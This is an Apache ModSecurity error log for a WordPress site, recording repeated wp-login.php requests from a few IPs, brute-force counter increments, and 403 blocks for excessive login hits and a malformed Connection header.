[Sun Mar 01 23:50:36.953206 2026] [:error] [pid 7133:tid 7159] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgTPCtubh8pR64qB9-2AAAAFg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:39.519513 2026] [:error] [pid 7133:tid 7152] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgT_Ctubh8pR64qB9-2gAAAFE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:41.545329 2026] [:error] [pid 7133:tid 7153] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgUfCtubh8pR64qB9-3AAAAFI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:44.131148 2026] [:error] [pid 7133:tid 7137] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgVPCtubh8pR64qB9-3gAAAEI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:46.061047 2026] [:error] [pid 7133:tid 7143] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgVvCtubh8pR64qB9-4AAAAEg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:48.647710 2026] [:error] [pid 7133:tid 7154] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgWPCtubh8pR64qB9-5wAAAFM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:50.398325 2026] [:error] [pid 7133:tid 7155] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgWvCtubh8pR64qB9-9wAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:53.109117 2026] [:error] [pid 7133:tid 7138] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgXfCtubh8pR64qB9--wAAAEM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:55.129991 2026] [:error] [pid 7133:tid 7157] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgX_Ctubh8pR64qB9-_AAAAFY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:57.755325 2026] [:error] [pid 7133:tid 7145] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgYfCtubh8pR64qB9_AAAAAEo"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:50:59.515481 2026] [:error] [pid 7133:tid 7159] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgY_Ctubh8pR64qB9_AwAAAFg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:02.320285 2026] [:error] [pid 7133:tid 7150] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgZvCtubh8pR64qB9_BQAAAE8"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:04.265118 2026] [:error] [pid 7133:tid 7141] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgaPCtubh8pR64qB9_CQAAAEY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:06.931432 2026] [:error] [pid 7133:tid 7157] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgavCtubh8pR64qB9_DAAAAFY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:08.968025 2026] [:error] [pid 7133:tid 7137] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgbPCtubh8pR64qB9_DwAAAEI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:11.818730 2026] [:error] [pid 7133:tid 7147] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgb_Ctubh8pR64qB9_EgAAAEw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:13.623094 2026] [:error] [pid 7133:tid 7153] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgcfCtubh8pR64qB9_GQAAAFI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:16.271172 2026] [:error] [pid 7133:tid 7157] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgdPCtubh8pR64qB9_HgAAAFY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:18.295143 2026] [:error] [pid 7133:tid 7142] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgdvCtubh8pR64qB9_IwAAAEc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:20.896983 2026] [:error] [pid 7133:tid 7141] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgePCtubh8pR64qB9_LAAAAEY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:22.757226 2026] [:error] [pid 7133:tid 7157] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgevCtubh8pR64qB9_MAAAAFY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:25.396504 2026] [:error] [pid 7133:tid 7147] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgffCtubh8pR64qB9_NAAAAEw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:27.481692 2026] [:error] [pid 7133:tid 7139] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgf_Ctubh8pR64qB9_OgAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:30.050442 2026] [:error] [pid 7133:tid 7159] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRggvCtubh8pR64qB9_PQAAAFg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:31.637901 2026] [:error] [pid 7133:tid 7157] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgg_Ctubh8pR64qB9_QQAAAFY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:34.240783 2026] [:error] [pid 7133:tid 7145] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRghvCtubh8pR64qB9_SQAAAEo"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:35.921316 2026] [:error] [pid 7133:tid 7139] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgh_Ctubh8pR64qB9_TwAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:38.555016 2026] [:error] [pid 7133:tid 7159] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgivCtubh8pR64qB9_UgAAAFg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:40.218361 2026] [:error] [pid 7133:tid 7152] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgjPCtubh8pR64qB9_VAAAAFE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:42.815016 2026] [:error] [pid 7133:tid 7144] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgjvCtubh8pR64qB9_WAAAAEk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:44.685723 2026] [:error] [pid 7133:tid 7157] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgkPCtubh8pR64qB9_WQAAAFY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:47.312031 2026] [:error] [pid 7133:tid 7147] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgk_Ctubh8pR64qB9_XQAAAEw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:49.186603 2026] [:error] [pid 7133:tid 7140] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRglfCtubh8pR64qB9_YAAAAEU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:51.817043 2026] [:error] [pid 7133:tid 7144] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgl_Ctubh8pR64qB9_bQAAAEk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:53.637707 2026] [:error] [pid 7133:tid 7154] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgmfCtubh8pR64qB9_eQAAAFM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:56.464990 2026] [:error] [pid 7133:tid 7142] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgnPCtubh8pR64qB9_gQAAAEc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:51:58.220582 2026] [:error] [pid 7133:tid 7139] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgnvCtubh8pR64qB9_hQAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:00.994607 2026] [:error] [pid 7133:tid 7135] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgoPCtubh8pR64qB9_iQAAAEA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:02.903785 2026] [:error] [pid 7133:tid 7149] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgovCtubh8pR64qB9_jAAAAE4"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:05.478021 2026] [:error] [pid 7133:tid 7148] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgpfCtubh8pR64qB9_kgAAAE0"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:07.418743 2026] [:error] [pid 7133:tid 7146] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgp_Ctubh8pR64qB9_mgAAAEs"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:10.080581 2026] [:error] [pid 7133:tid 7139] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgqvCtubh8pR64qB9_pgAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:11.951223 2026] [:error] [pid 7133:tid 7147] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgq_Ctubh8pR64qB9_sAAAAEw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:14.576058 2026] [:error] [pid 7133:tid 7154] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgrvCtubh8pR64qB9_twAAAFM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:16.311255 2026] [:error] [pid 7133:tid 7145] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgsPCtubh8pR64qB9_uQAAAEo"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:18.868876 2026] [:error] [pid 7133:tid 7151] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgsvCtubh8pR64qB9_vAAAAFA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:20.624116 2026] [:error] [pid 7133:tid 7139] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgtPCtubh8pR64qB9_vgAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:23.254944 2026] [:error] [pid 7133:tid 7155] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgt_Ctubh8pR64qB9_wQAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:25.307969 2026] [:error] [pid 7133:tid 7140] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgufCtubh8pR64qB9_wgAAAEU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:27.930909 2026] [:error] [pid 7133:tid 7144] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgu_Ctubh8pR64qB9_xQAAAEk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:29.558152 2026] [:error] [pid 7133:tid 7136] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgvfCtubh8pR64qB9_yAAAAEE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:52:32.163858 2026] [:error] [pid 7133:tid 7135] [client 5.189.188.55:58897] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRgwPCtubh8pR64qB9_zAAAAEA"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 02 00:21:29.428928 2026] [:error] [pid 53182:tid 53547] [client 179.43.191.19:42400] [client 179.43.191.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.43.191.19, incrementing brute counter"] [hostname "www.gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRnifv073cA6eM1YCSTSAAAAMQ"], referer: https://www.gigfragments.org/
[Mon Mar 02 00:21:29.429008 2026] [:error] [pid 53182:tid 53547] [client 179.43.191.19:42400] [client 179.43.191.19] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 179.43.191.19 on wp-login.php, counter = 12"] [hostname "www.gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRnifv073cA6eM1YCSTSAAAAMQ"], referer: https://www.gigfragments.org/
[Mon Mar 02 01:27:50.310974 2026] [:error] [pid 53585:tid 53604] [client 49.51.166.228:41766] [client 49.51.166.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaR3FnbCvYsvu6kKhM2RTQAAABA"]
